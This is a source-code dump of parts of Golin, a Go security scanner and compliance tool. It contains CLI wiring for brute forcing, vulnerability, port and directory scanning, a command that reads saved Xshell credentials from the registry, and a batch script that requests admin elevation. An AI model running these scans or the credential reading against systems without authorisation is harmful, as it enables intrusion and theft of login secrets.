{ 18 | rootCmd.AddCommand(oracleCmd) 19 | oracleCmd.Flags().StringP("ip", "i", global.CmdOraclePath, "此参数是指定待远程采集的IP文件位置") 20 | oracleCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符") 21 | oracleCmd.Flags().StringP("value", "v", "", "此参数是单次执行") 22 | oracleCmd.Flags().BoolP("echo", "e", false, "此参数是控制控制台是否输出结果,默认不进行输出") 23 | } 24 | -------------------------------------------------------------------------------- /cmd/pgsql.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "golin/global" 6 | "golin/run" 7 | ) 8 | 9 | // linuxCmd represents the linux command 10 | var pgsqlCmd = &cobra.Command{ 11 | Use: "pgsql", 12 | Short: "运行采集PostgreSQL安全配置核查功能", 13 | Long: `基于远程登录功能,通过多线程的方法批量进行采集`, 14 | Run: run.Pgsqlstart, 15 | } 16 | 17 | func init() { 18 | rootCmd.AddCommand(pgsqlCmd) 19 | pgsqlCmd.Flags().StringP("ip", "i", global.CmdPgsqlPath, "此参数是指定待远程采集的IP文件位置") 20 | pgsqlCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符") 21 | pgsqlCmd.Flags().StringP("value", "v", "", "此参数是单次执行") 22 | pgsqlCmd.Flags().BoolP("echo", "e", false, "此参数是控制控制台是否输出结果,默认不进行输出") 23 | } 24 | -------------------------------------------------------------------------------- /cmd/redis.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "golin/global" 5 | "golin/run" 6 | 7 | "github.com/spf13/cobra" 8 | ) 9 | 10 | // redisCmd represents the redis command 11 | var redisCmd = &cobra.Command{ 12 | Use: "redis", 13 | Short: "运行采集Redis安全配置核查功能", 14 | Long: `基于Redis的远程登录功能,通过多线程进行采集,基于info字段中的值判断,写入待采集文件主机时用户名为空即可。`, 15 | Run: run.Redis, 16 | } 17 | 18 | func init() { 19 | rootCmd.AddCommand(redisCmd) 20 | redisCmd.Flags().StringP("ip", "i", global.CmdRedisPath, "此参数是指定待远程采集的IP文件位置") 21 | redisCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符") 22 | redisCmd.Flags().StringP("value", "v", "", "此参数是指定执行单个设备") 23 | 24 | } 25 | -------------------------------------------------------------------------------- /cmd/root.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "fmt" 5 | "github.com/fatih/color" 6 | "golin/global" 7 | "os" 8 | 9 | "github.com/spf13/cobra" 10 | ) 11 | 12 | // rootCmd represents the base command when called without any subcommands 13 | var rootCmd = &cobra.Command{ 14 | Use: "golin", 15 | Short: "弱口令检测、 漏洞扫描、端口扫描(协议识别,组件识别)、等保模拟定级、自动化运维、等保工具", 16 | Long: `主机存活探测、漏洞扫描、子域名扫描、端口扫描、各类服务数据库爆破、poc扫描、xss扫描、webtitle探测、web指纹识别、web敏感信息泄露、web目录浏览、web文件下载、等保安全风险问题风险自查等; 弱口令/未授权访问:40余种; WEB组件识别:300余种; 漏洞扫描:XSS、任意文件访问、任意命令执行、敏感信息泄露、默认账户密码...; 资产扫描:扫描存活主机->判断存活端口->识别协议/组件->基于组件协议进行弱口令、漏洞扫描->输出报告`, 17 | } 18 | 19 | func Execute() { 20 | err := rootCmd.Execute() 21 | if err != nil { 22 | os.Exit(1) 23 | } 24 | } 25 | 26 | func init() { 27 | golin := fmt.Sprintf(` 28 | 29 | ▄████ ▒█████ ██▓ ██▓ ███▄ █ 30 | ██▒ ▀█▒▒██▒ ██▒▓██▒ ▓██▒ ██ ▀█ █ 31 | ▒██░▄▄▄░▒██░ ██▒▒██░ ▒██▒▓██ ▀█ ██▒ 32 | ░▓█ ██▓▒██ ██░▒██░ ░██░▓██▒ ▐▌██▒ 33 | ░▒▓███▀▒░ ████▓▒░░██████▒░██░▒██░ ▓██░ 34 | ░▒ ▒ ░ ▒░▒░▒░ ░ ▒░▓ ░░▓ ░ ▒░ ▒ ▒ 35 | ░ ░ ░ ▒ ▒░ ░ ░ ▒ ░ ▒ ░░ ░░ ░ ▒░ 36 | ░ ░ ░ ░ ░ ░ ▒ ░ ░ ▒ ░ ░ ░ ░ 37 | ░ ░ ░ ░ ░ ░ ░ 38 | 39 | `) 40 | 41 | fmt.Printf("%s\nVersion: %s\ngithub : %s\nauthor : %s\n\n", 42 | color.GreenString("%s", golin), 43 | color.GreenString("%s %s", global.Version, global.Releasenotes), 44 | color.BlueString("%s", "https://github.com/selinuxG/Golin"), 45 | color.MagentaString("%s", "gaoyeshang -> VX:SelinuxG"), 46 | ) 47 | } 48 | -------------------------------------------------------------------------------- /cmd/route.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "golin/global" 5 | "golin/run" 6 | 7 | "github.com/spf13/cobra" 8 | ) 9 | 10 | // routeCmd represents the route command 11 | var routeCmd = &cobra.Command{ 12 | Use: "route", 13 | Short: "运行采集网络设备安全配置核查功能", 14 | Long: `基于SSH的功能进行采集`, 15 | Run: run.Route, 16 | } 17 | 18 | func init() { 19 | rootCmd.AddCommand(routeCmd) 20 | routeCmd.Flags().StringP("ip", "i", global.CmdRoutepath, "此参数是指定待远程采集的IP文件位置") 21 | routeCmd.Flags().BoolP("echo", "e", false, "此参数是控制控制台是否输出结果,默认不进行输出") 22 | routeCmd.Flags().StringP("cmd", "c", "", "此参数是指定待自定义执行的命令文件") 23 | routeCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符") 24 | routeCmd.Flags().StringP("cmdvalue", "C", "", "此参数是自定义执行命令(比-c优先级高)") 25 | } 26 | -------------------------------------------------------------------------------- /cmd/scan.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "golin/scan" 6 | ) 7 | 8 | // ScanCmd represents the port command 9 | var ScanCmd = &cobra.Command{ 10 | Use: "scan", 11 | Short: "资产测绘、协议识别、漏洞扫描", 12 | Run: scan.ParseFlags, 13 | } 14 | 15 | func init() { 16 | rootCmd.AddCommand(ScanCmd) 17 | ScanCmd.Flags().StringP("ip", "i", "", "此参数是扫描的IP地址,格式支持192.168.1.1,192.168.1.1/24,192.168.1-10") 18 | ScanCmd.Flags().StringP("ipfile", "", "ip.txt", "此参数是扫描的IP文件,一行一个") 19 | ScanCmd.Flags().StringP("port", "p", "0", "此参数是指定的端口,不支持则默认端口,格式支持1,2,3,2-20") 20 | ScanCmd.Flags().StringP("exclude", "e", "", "此参数排除扫描的端口,格式支持:1,2,3") 21 | ScanCmd.Flags().StringP("excludeip", "", "noip.txt", "此参数排除扫描的IP") 22 | ScanCmd.Flags().Bool("noping", false, "此参数是禁止ping检测") 23 | ScanCmd.Flags().IntP("chan", "c", 100, "并发数量") 24 | ScanCmd.Flags().IntP("time", "t", 5, "超时等待时常/s") 25 | ScanCmd.Flags().IntP("done", "", 10, "端口整体扫描最长用时/m") 26 | ScanCmd.Flags().Bool("random", false, "打乱主机顺序") 27 | ScanCmd.Flags().Bool("img", false, "此参数进行保存WEB截图") 28 | ScanCmd.Flags().Bool("nocrack", false, "此参数是不进行弱口令扫描") 29 | ScanCmd.Flags().Bool("nopoc", false, "此参数是不进行poc漏洞扫描") 30 | ScanCmd.Flags().StringP("userfile", "", "", "此参数是自定义用户字典文件") 31 | ScanCmd.Flags().StringP("passwdfile", "", "", "此参数是自定义密码字典文件") 32 | ScanCmd.Flags().StringP("fofa", "", "", "此参数是调用fofa数据进行扫描") 33 | ScanCmd.Flags().IntP("fofasize", "", 100, "获取多少条fofa数据") 34 | ScanCmd.Flags().Bool("web", false, "此参数是仅扫描常用web端口") 35 | ScanCmd.Flags().Bool("dbs", false, "此参数是仅扫描常用数据库端口") 36 | ScanCmd.Flags().Bool("risk", false, "此参数是仅扫描高危端口") 37 | 38 | } 39 | -------------------------------------------------------------------------------- /cmd/sqlserver.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "golin/global" 6 | "golin/run" 7 | ) 8 | 9 | // linuxCmd represents the linux command 10 | var sqlServerCmd = &cobra.Command{ 11 | Use: "sqlserver", 12 | Short: "运行采集sqlserver安全配置核查功能", 13 | Long: `基于远程登录功能,通过多线程的方法批量进行采集`, 14 | Run: run.SqlServer, 15 | } 16 | 17 | func init() { 18 | rootCmd.AddCommand(sqlServerCmd) 19 | sqlServerCmd.Flags().StringP("ip", "i", global.CmdsqlServerPath, "此参数是指定待远程采集的IP文件位置") 20 | sqlServerCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符") 21 | sqlServerCmd.Flags().StringP("value", "v", "", "此参数是单次执行") 22 | sqlServerCmd.Flags().BoolP("echo", "e", false, "此参数是控制控制台是否输出结果,默认不进行输出") 23 | } 24 | -------------------------------------------------------------------------------- /cmd/update.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "github.com/fatih/color" 7 | "github.com/spf13/cobra" 8 | "golin/global" 9 | "io" 10 | "net/http" 11 | "net/url" 12 | "os" 13 | "runtime" 14 | "strconv" 15 | "strings" 16 | ) 17 | 18 | // updateCmd represents the update command 19 | var updateCmd = &cobra.Command{ 20 | Use: "update", 21 | Short: "检查更新程序", 22 | Long: `通过api.github.com进行检查更新程序`, 23 | Run: func(cmd *cobra.Command, args []string) { 24 | newrelease, err := global.CheckForUpdate() 25 | if err != nil { 26 | fmt.Println("更新失败:", err) 27 | return 28 | } 29 | var input string 30 | fmt.Print("是否下载GitHub仓库最新版本程序?y/n: ") 31 | for { 32 | _, err := fmt.Scanln(&input) 33 | if err != nil { 34 | fmt.Println("发生错误:", err) 35 | continue 36 | } 37 | input = strings.ToLower(input) //所有大写转换为小写 38 | switch input { 39 | case "y", "yes": 40 | proxy, _ := cmd.Flags().GetString("proxy") 41 | BrowserDownloadUrl, savaname := "", "" 42 | switch runtime.GOOS { 43 | case "windows": 44 | savaname = "golin.exe" 45 | BrowserDownloadUrl = fmt.Sprintf("https://github.com/selinuxG/Golin/releases/download/%s/%s", newrelease.TagName, savaname) 46 | case "linux": 47 | savaname = "golin_linux_amd64" 48 | BrowserDownloadUrl = fmt.Sprintf("https://github.com/selinuxG/Golin/releases/download/%s/%s", newrelease.TagName, savaname) 49 | case "drawin": 50 | savaname = "golin_drawin_amd64" 51 | BrowserDownloadUrl = fmt.Sprintf("https://github.com/selinuxG/Golin/releases/download/%s/%s", newrelease.TagName, savaname) 52 | } 53 | err := downloadFile(BrowserDownloadUrl, savaname, proxy) 54 | if err != nil { 55 | fmt.Println("更新失败->", err) 56 | return 57 | } 58 | os.Exit(0) 59 | case "n", "no": 60 | fmt.Println("已取消更新...") 61 | os.Exit(0) 62 | default: 63 | fmt.Printf("输入无效,请输入y/n:") 64 | continue 65 | } 66 | } 67 | }} 68 | 69 | func init() { 70 | rootCmd.AddCommand(updateCmd) 71 | updateCmd.Flags().StringP("proxy", "p", "", "此参数是指定代理ip(仅允许http/https代理哦)") 72 | } 73 | 74 | // getFileSize 返回文件大小 75 | func getFileSize(path string) (int64, error) { 76 | fileInfo, err := os.Stat(path) 77 | if err != nil { 78 | return 0, err 79 | } 80 | fileInfo.ModTime() 81 | 82 | return fileInfo.Size(), nil 83 | } 84 | 85 | // downloadFile 下载更新 86 | func downloadFile(downurl, localPath, proxy string) error { 87 | client := http.Client{} 88 | if proxy != "" { 89 | urli := url.URL{} 90 | urlproxy, err := urli.Parse(proxy) 91 | if err != nil { 92 | fmt.Println("无法连接代理IP!", proxy) 93 | return nil 94 | } 95 | client = http.Client{ 96 | Transport: &http.Transport{ 97 | Proxy: http.ProxyURL(urlproxy), 98 | }, 99 | } 100 | } 101 | resp, err := client.Get(downurl) 102 | if err != nil { 103 | return fmt.Errorf("无法下载文件:%v", err) 104 | } 105 | defer resp.Body.Close() 106 | 107 | if resp.StatusCode != http.StatusOK { 108 | return fmt.Errorf("下载失败,状态码:%d", resp.StatusCode) 109 | } 110 | 111 | // 获取文件大小 112 | fileSize, _ := strconv.Atoi(resp.Header.Get("Content-Length")) 113 | var progressed int 114 | 115 | // 获取当前程序完整位置 116 | exe, err := os.Executable() 117 | if err != nil { 118 | return nil 119 | } 120 | // 当前旧版程序重命名实现备份效果 121 | os.Remove(exe + ".bak") //先移除之前的备份文件 122 | err = os.Rename(exe, exe+".bak") 123 | if err != nil { 124 | return err 125 | } 126 | // 写入最新版 127 | out, err := os.Create(localPath) 128 | if err != nil { 129 | return err 130 | } 131 | defer out.Close() 132 | 133 | reader := bufio.NewReader(resp.Body) 134 | buff := make([]byte, 1024) 135 | for { 136 | n, err := reader.Read(buff) 137 | if err != nil { 138 | if err != io.EOF { 139 | return err 140 | } 141 | break 142 | } 143 | _, err = out.Write(buff[:n]) 144 | if err != nil { 145 | return err 146 | } 147 | progressed += n 148 | percentage := float64(progressed) / float64(fileSize) * 100 149 | 150 | percentStr := fmt.Sprintf("%.2f", percentage) // 将百分比值格式化为字符串 151 | fmt.Printf("\r更新进度: %s", 152 | color.RedString("%s", fmt.Sprintf("%s%%", percentStr)), 153 | ) 154 | 155 | } 156 | fmt.Printf("\r更新进度: %s\n", 157 | color.GreenString("%s", fmt.Sprintf("%-7s", "100%")), 158 | ) 159 | return nil 160 | } 161 | -------------------------------------------------------------------------------- /cmd/user_users.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package cmd 4 | 5 | import ( 6 | "fmt" 7 | wapi "github.com/iamacarpet/go-win64api" 8 | "github.com/olekukonko/tablewriter" 9 | "github.com/spf13/cobra" 10 | "os" 11 | "strings" 12 | "time" 13 | ) 14 | 15 | var userCmd = &cobra.Command{ 16 | Use: "users", 17 | Short: "获取用户信息", 18 | Run: checkusers, 19 | } 20 | 21 | func init() { 22 | rootCmd.AddCommand(userCmd) 23 | } 24 | 25 | func checkusers(cmd *cobra.Command, args []string) { 26 | users, err := wapi.ListLocalUsers() 27 | if err != nil { 28 | fmt.Printf("\033[31m错误:获取用户列表失败 (%v)\033[0m\n", err) 29 | return 30 | } 31 | 32 | table := tablewriter.NewWriter(os.Stdout) 33 | table.SetAutoFormatHeaders(false) 34 | table.SetHeader([]string{ 35 | "用户名", 36 | "全名", 37 | "账户状态", 38 | "管理用户", 39 | "密码策略", 40 | "最后登录", 41 | "用户类型", 42 | }) 43 | 44 | table.SetColWidth(100) // 增大列宽 45 | table.SetAutoWrapText(false) // 禁止自动换行 46 | table.SetHeaderAlignment(tablewriter.ALIGN_CENTER) 47 | table.SetAlignment(tablewriter.ALIGN_LEFT) 48 | table.SetRowLine(true) // 启用行间分隔线 49 | 50 | for _, u := range users { 51 | if u.Username == "" { 52 | continue 53 | } 54 | 55 | table.Append([]string{ 56 | u.Username, 57 | u.FullName, 58 | formatAccountStatus(u.IsEnabled, u.IsLocked), 59 | formatAdminStatus(u.IsAdmin), 60 | formatPasswordPolicy(u.PasswordNeverExpires, u.NoChangePassword), 61 | formatLastLogon(u.LastLogon), 62 | detectShadowAccount(u.Username), 63 | }) 64 | } 65 | 66 | table.Render() 67 | } 68 | 69 | func formatAccountStatus(enabled, locked bool) string { 70 | var status []string 71 | if !enabled { 72 | status = append(status, "\033[31m❌禁用") 73 | } 74 | if locked { 75 | status = append(status, "\033[33m⚠️锁定") 76 | } 77 | if len(status) == 0 { 78 | return "\033[32m✅正常" 79 | } 80 | return strings.Join(status, "\n") 81 | } 82 | 83 | // 管理员状态显示 84 | func formatAdminStatus(isAdmin bool) string { 85 | if isAdmin { 86 | return "\033[32m● 是" 87 | } 88 | return "\033[37m○ 否" 89 | } 90 | 91 | func formatPasswordPolicy(neverExpires, noChange bool) string { 92 | var policies []string 93 | if neverExpires { 94 | policies = append(policies, "\033[31m永不过期") 95 | } 96 | if noChange { 97 | policies = append(policies, "\033[33m不可修改") 98 | } 99 | if len(policies) == 0 { 100 | return "\033[2m-" 101 | } 102 | return strings.Join(policies, " | ") 103 | } 104 | 105 | func formatLastLogon(t time.Time) string { 106 | if t.IsZero() || t.Unix() <= 0 { 107 | return "\033[2m从未登录" 108 | } 109 | return t.Local().Format("2006-01-02 15:04") 110 | } 111 | 112 | func detectShadowAccount(username string) string { 113 | if strings.HasSuffix(username, "$") { 114 | return "\033[31m🚨 影子账户" 115 | } 116 | defauleuser := []string{"defaultaccount", "administrator", "WDAGUtilityAccount", "guest"} 117 | for _, u := range defauleuser { 118 | if strings.EqualFold(username, u) { 119 | return "\033[33m⚠️ 默认账户" 120 | } 121 | } 122 | 123 | return "\033[2m-" 124 | } 125 | -------------------------------------------------------------------------------- /cmd/web.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "golin/web" 6 | ) 7 | 8 | // execlCmd represents the execl command 9 | var webCmd = &cobra.Command{ 10 | Use: "web", 11 | Short: "web形式运行", 12 | Long: `通过gin实现资产任务下发`, 13 | Run: web.Start, 14 | } 15 | 16 | func init() { 17 | rootCmd.AddCommand(webCmd) 18 | webCmd.Flags().StringP("port", "p", "1818", "指定运行端口") 19 | webCmd.Flags().StringP("ip", "i", "127.0.0.1", "指定运行网卡ip") 20 | webCmd.Flags().BoolP("save", "s", false, "是否额外保存文件") 21 | 22 | } 23 | -------------------------------------------------------------------------------- /cmd/windows.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package cmd 4 | 5 | import ( 6 | "fmt" 7 | "github.com/spf13/cobra" 8 | "golin/global" 9 | "golin/run/windows" 10 | "os" 11 | "os/exec" 12 | "strings" 13 | ) 14 | 15 | var batname = "GoLin_win.bat" 16 | 17 | // windowsCmd represents the execl command 18 | var windowsCmd = &cobra.Command{ 19 | Use: "windows", 20 | Short: "读取安全策略生成html", 21 | Long: `读取安全策略生成html`, 22 | Run: func(cmd *cobra.Command, args []string) { 23 | switch global.PathExists(batname) { 24 | case true: 25 | windows.Windows() //这是主程序 26 | defer func(name string) { 27 | _ = os.Remove(name) 28 | }(batname) 29 | case false: 30 | restartWindows() 31 | default: 32 | } 33 | }, 34 | } 35 | 36 | func init() { 37 | rootCmd.AddCommand(windowsCmd) 38 | } 39 | 40 | // restart_windows 此函数用于生成提权的bat文件,重新执行Windows模式 41 | func restartWindows() { 42 | exePath, err := os.Executable() 43 | if err != nil { 44 | fmt.Printf("[-] 获取Golin执行绝对路径失败!\n") 45 | os.Exit(0) 46 | } 47 | 48 | batstring := ` 49 | @echo off 50 | net session >nul 2>&1 51 | if %errorLevel% == 0 ( 52 | echo Running with admin privileges... 53 | ) else ( 54 | echo Requesting admin privileges... 55 | :: Run this script again with admin privileges 56 | PowerShell -Command "Start-Process cmd.exe -Verb runAs -ArgumentList '/c %~dpnx0'" 57 | exit /B 58 | ) 59 | cd /D %~dp0 60 | start "" "golinpath" windows 61 | exit /B 62 | ` 63 | batstring = strings.ReplaceAll(batstring, "golinpath", exePath) 64 | err = global.AppendToFile(batname, batstring) 65 | if err != nil { 66 | fmt.Printf("[-] 写入提权bat文件失败!\n") 67 | os.Exit(0) 68 | } 69 | _ = exec.Command("cmd", "/C", batname).Run() 70 | } 71 | -------------------------------------------------------------------------------- /cmd/xshell.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "golin/run/xshell" 6 | ) 7 | 8 | var XshellCmd = &cobra.Command{ 9 | Use: "xshell", 10 | Short: "获取本机xshell配置信息", 11 | Long: `基于Software\PremiumSoft注册表读取账号密码等信息`, 12 | Run: xshell.Run, 13 | } 14 | 15 | func init() { 16 | rootCmd.AddCommand(XshellCmd) 17 | } 18 | -------------------------------------------------------------------------------- /config/zap.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "go.uber.org/zap" 5 | "go.uber.org/zap/zapcore" 6 | "golin/global" 7 | "gopkg.in/natefinch/lumberjack.v2" 8 | "os" 9 | ) 10 | 11 | var ( 12 | Log *zap.Logger 13 | ) 14 | 15 | func init() { 16 | consoleEncoder := zapcore.NewConsoleEncoder(zapcore.EncoderConfig{ 17 | TimeKey: "time", 18 | LevelKey: "level", 19 | NameKey: "logger", 20 | MessageKey: "msg", 21 | CallerKey: "caller", 22 | EncodeLevel: zapcore.CapitalLevelEncoder, //CapitalColorLevelEncoder 彩色输出 23 | EncodeTime: zapcore.TimeEncoderOfLayout("2006-01-02 15:04:05"), 24 | LineEnding: zapcore.DefaultLineEnding, 25 | EncodeDuration: zapcore.SecondsDurationEncoder, 26 | EncodeCaller: zapcore.ShortCallerEncoder, 27 | // 添加字段分隔符和缩进 28 | ConsoleSeparator: " ", 29 | }) 30 | // 创建控制台输出的核心对象,设置级别为 info 31 | consoleDebugging := zapcore.Lock(os.Stdout) 32 | consoleCore := zapcore.NewCore(consoleEncoder, consoleDebugging, zap.InfoLevel) 33 | 34 | // 创建文件输出的核心对象,设置级别为 warn 35 | fileEncoder := zapcore.NewJSONEncoder(zapcore.EncoderConfig{ 36 | TimeKey: "time", 37 | LevelKey: "level", 38 | NameKey: "logger", 39 | MessageKey: "msg", 40 | CallerKey: "caller", 41 | EncodeCaller: zapcore.ShortCallerEncoder, 42 | EncodeLevel: zapcore.CapitalLevelEncoder, 43 | EncodeTime: zapcore.TimeEncoderOfLayout("2006-01-02 15:04:05"), 44 | LineEnding: zapcore.DefaultLineEnding, 45 | EncodeDuration: zapcore.SecondsDurationEncoder, 46 | }) 47 | fileDebugging := zapcore.Lock(zapcore.AddSync(&lumberjack.Logger{ 48 | Filename: global.SuccessLog, 49 | MaxSize: 100, // MB 50 | MaxBackups: 3, 51 | MaxAge: 30, // days 52 | })) 53 | fileCore := zapcore.NewCore(fileEncoder, fileDebugging, zap.WarnLevel) 54 | // 合并两个核心对象 55 | core := zapcore.NewTee(consoleCore, fileCore) 56 | // 创建logger 57 | Log = zap.New(core, zap.AddCaller()) 58 | 59 | } 60 | -------------------------------------------------------------------------------- /dirscan/StatusCode.go: -------------------------------------------------------------------------------- 1 | package dirscan 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "github.com/PuerkitoBio/goquery" 7 | "github.com/fatih/color" 8 | Protocol2 "golin/Protocol" 9 | "strconv" 10 | "strings" 11 | "sync" 12 | ) 13 | 14 | var ( 15 | succeCount = 0 16 | lock sync.Mutex 17 | ) 18 | 19 | type UrlStatus struct { 20 | Url string //url地址 21 | Code int //状态码 22 | Title string //标题 23 | ContentType string //媒体类型 24 | Line int //行数 25 | App string //组件 26 | info []string //漏洞 27 | } 28 | 29 | var ContentType = map[string]string{ 30 | "application/zip": "文件下载", 31 | "application/octet-stream": "文件下载", 32 | "text/xml": "疑似敏感接口", 33 | "application/xml": "疑似敏感接口", 34 | "application/json": "疑似敏感接口", 35 | "multipart/form-data": "文件上传", 36 | "video/avi": "文件下载", 37 | "audio/x-wav": "文件下载", 38 | "audio/x-ms-wma": "文件下载", 39 | "audio/mp3": "文件下载", 40 | "video/mpeg4": "文件下载", 41 | "application/javascript": "JavaScript脚本文件", 42 | "image/jpeg": "图片文件", 43 | "image/png": "图片文件", 44 | "application/pdf": "PDF文件下载", 45 | "application/msword": "Word文档下载", 46 | "application/vnd.ms-excel": "Excel文档下载", 47 | "image/gif": "图片文件", 48 | "image/tiff": "图片文件", 49 | "video/mp4": "视频文件下载", 50 | "video/webm": "视频文件下载", 51 | "audio/ogg": "音频文件下载", 52 | "audio/mpeg": "音频文件下载", 53 | "application/sql": "数据库文件", 54 | "application/rtf": "RTF文件下载", 55 | "application/x-shockwave-flash": "Flash文件下载", 56 | } 57 | 58 | func isStatusCodeOk(URL string) { 59 | defer func() { 60 | wg.Done() 61 | <-ch 62 | doSomething() 63 | // succeCount += 1 // 每次结束数量加一 64 | percent() 65 | }() 66 | if request == nil { 67 | return 68 | } 69 | 70 | req := request.Clone().Get(URL) // 使用 Clone() 方法创建请求对象 71 | if req == nil { 72 | return 73 | } 74 | 75 | resp, body, errs := req.EndBytes() // 使用 EndBytes() 方法获取响应和响应体 76 | if len(errs) > 0 || resp == nil { 77 | return 78 | } 79 | 80 | if statusCodeInRange(resp.StatusCode, code) { 81 | fmt.Print("\033[2K") // 擦除整行 82 | // 查找 title 83 | title := "" 84 | doc, err := goquery.NewDocumentFromReader(bytes.NewReader(body)) // 使用响应体创建文档对象 85 | if err == nil { 86 | title = doc.Find("title").Text() 87 | } 88 | 89 | line := bytes.Count(body, []byte("\n")) // 行数 90 | contype := resp.Header.Get("Content-Type") 91 | contype = strings.Split(contype, ";")[0] 92 | 93 | yesurl := UrlStatus{ 94 | Url: URL, 95 | Code: resp.StatusCode, 96 | Title: title, 97 | ContentType: contype, 98 | Line: line, 99 | } 100 | 101 | if strings.Contains(strings.ToLower(title), "index of") { 102 | yesurl.info = append(yesurl.info, "目录浏览漏洞") 103 | } 104 | 105 | for k, v := range ContentType { 106 | if strings.Contains(contype, k) { 107 | yesurl.info = append(yesurl.info, v) 108 | } 109 | } 110 | 111 | check, xss := Protocol2.CheckXss(URL, body) 112 | if check { 113 | yesurl.info = append(yesurl.info, fmt.Sprintf("xss:%s", xss)) 114 | } 115 | yesurl.App = Protocol2.CheckApp(string(body), resp.Header, req.Cookies, resp.Header.Get("Server")) // 匹配组件 116 | 117 | _ = AppendUrlStatusToFile(yesurl) // 写入文件 118 | 119 | fmt.Printf(echoinfo(yesurl, URL)) 120 | } 121 | } 122 | 123 | // echoinfo 输出详细信息 124 | func echoinfo(yesurl UrlStatus, URL string) string { 125 | echo := "" 126 | if yesurl.App != "" { 127 | echo += color.GreenString("%s", fmt.Sprintf(" APP:「%s」", yesurl.App)) 128 | } 129 | 130 | if len(yesurl.info) > 0 { 131 | echo += fmt.Sprintf("%s", color.RedString("%s ", fmt.Sprintf("[%s]", strings.Join(yesurl.info, ",")))) 132 | } 133 | 134 | if yesurl.Title != "" { 135 | echo += fmt.Sprintf("%s", color.BlueString(" %s", fmt.Sprintf("title:「%s」 ", yesurl.Title))) 136 | } 137 | echo += fmt.Sprintf("%s", color.MagentaString("%s", fmt.Sprintf("ContentType:%s ", yesurl.ContentType))) 138 | echo += fmt.Sprintf("Code:%d Line:%d", yesurl.Code, yesurl.Line) 139 | 140 | return fmt.Sprintf("\r%-45s| %s \n", URL, echo) 141 | 142 | } 143 | 144 | // statusCodeInRange 确认切片状态是否在搜索队列中 145 | func statusCodeInRange(status int, rangeSlice []string) bool { 146 | strcode := strconv.Itoa(status) 147 | for _, v := range rangeSlice { 148 | if v == strcode { 149 | return true 150 | } 151 | } 152 | return false 153 | } 154 | 155 | // 加锁 156 | func doSomething() { 157 | lock.Lock() 158 | defer lock.Unlock() 159 | succeCount++ 160 | } 161 | 162 | // FormatBytes 大小转换 163 | func FormatBytes(bytes int64) string { 164 | const ( 165 | KB = 1024 166 | MB = 1024 * KB 167 | ) 168 | 169 | switch { 170 | case bytes < KB: 171 | return fmt.Sprintf("%d B", bytes) 172 | case bytes < MB: 173 | return fmt.Sprintf("%.2f KB", float64(bytes)/KB) 174 | default: 175 | return fmt.Sprintf("%.2f MB", float64(bytes)/MB) 176 | } 177 | } 178 | -------------------------------------------------------------------------------- /dirscan/StatusToFile.go: -------------------------------------------------------------------------------- 1 | package dirscan 2 | 3 | import ( 4 | "encoding/json" 5 | "os" 6 | ) 7 | 8 | var filename = "dirScan.json" 9 | 10 | // AppendUrlStatusToFile 写入成功url到dirScan.json文件 11 | func AppendUrlStatusToFile(status UrlStatus) error { 12 | var statuses []UrlStatus 13 | data, err := os.ReadFile(filename) 14 | if err == nil { 15 | err = json.Unmarshal(data, &statuses) 16 | if err != nil { 17 | return err 18 | } 19 | } 20 | 21 | statuses = append(statuses, status) 22 | 23 | data, err = json.MarshalIndent(statuses, "", " ") 24 | if err != nil { 25 | return err 26 | } 27 | err = os.WriteFile(filename, data, 0644) 28 | return err 29 | } 30 | -------------------------------------------------------------------------------- /dirscan/parseFlags.go: -------------------------------------------------------------------------------- 1 | package dirscan 2 | 3 | import ( 4 | "embed" 5 | "fmt" 6 | "github.com/parnurzeal/gorequest" 7 | "github.com/spf13/cobra" 8 | "golin/global" 9 | "os" 10 | "strings" 11 | "sync" 12 | "time" 13 | ) 14 | 15 | var ( 16 | spinnerChars = []string{"|", "/", "-", "\\"} //进度条更新动画 17 | code []string //扫描的状态 18 | mu sync.Mutex 19 | counter = 0 //当前已扫描的数量,计算百分比 20 | ch = make(chan struct{}, 30) 21 | wg = sync.WaitGroup{} 22 | proxyurl = "" //代理地址 23 | file = "" //读取的字典文件 24 | checkurl []string //扫描的url切片 25 | countall = 0 26 | request *gorequest.SuperAgent 27 | ) 28 | 29 | //go:embed url.txt 30 | var urlData embed.FS 31 | 32 | func ParseFlags(cmd *cobra.Command, args []string) { 33 | url, _ := cmd.Flags().GetString("url") 34 | url = strings.TrimSuffix(url, "/") // 删除最后的/ 35 | 36 | if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") { 37 | fmt.Printf("[-] URL需指定前缀!http or https!\n") 38 | return 39 | } 40 | chcount, _ := cmd.Flags().GetInt("chan") 41 | timeout, _ := cmd.Flags().GetInt("timeout") 42 | ch = make(chan struct{}, chcount) 43 | 44 | proxyurl, _ = cmd.Flags().GetString("proxy") //不为空则设置代理 45 | if proxyurl != "" { 46 | request = gorequest.New().Proxy(proxyurl).Timeout(time.Duration(timeout) * time.Second) 47 | } else { 48 | request = gorequest.New().Timeout(time.Duration(timeout) * time.Second) 49 | } 50 | Agent, _ := cmd.Flags().GetString("Agent") //如果Agent不为空则自定义User-Agent 51 | if Agent != "" { 52 | request.Set("User-Agent", Agent) 53 | } 54 | 55 | file, _ = cmd.Flags().GetString("file") 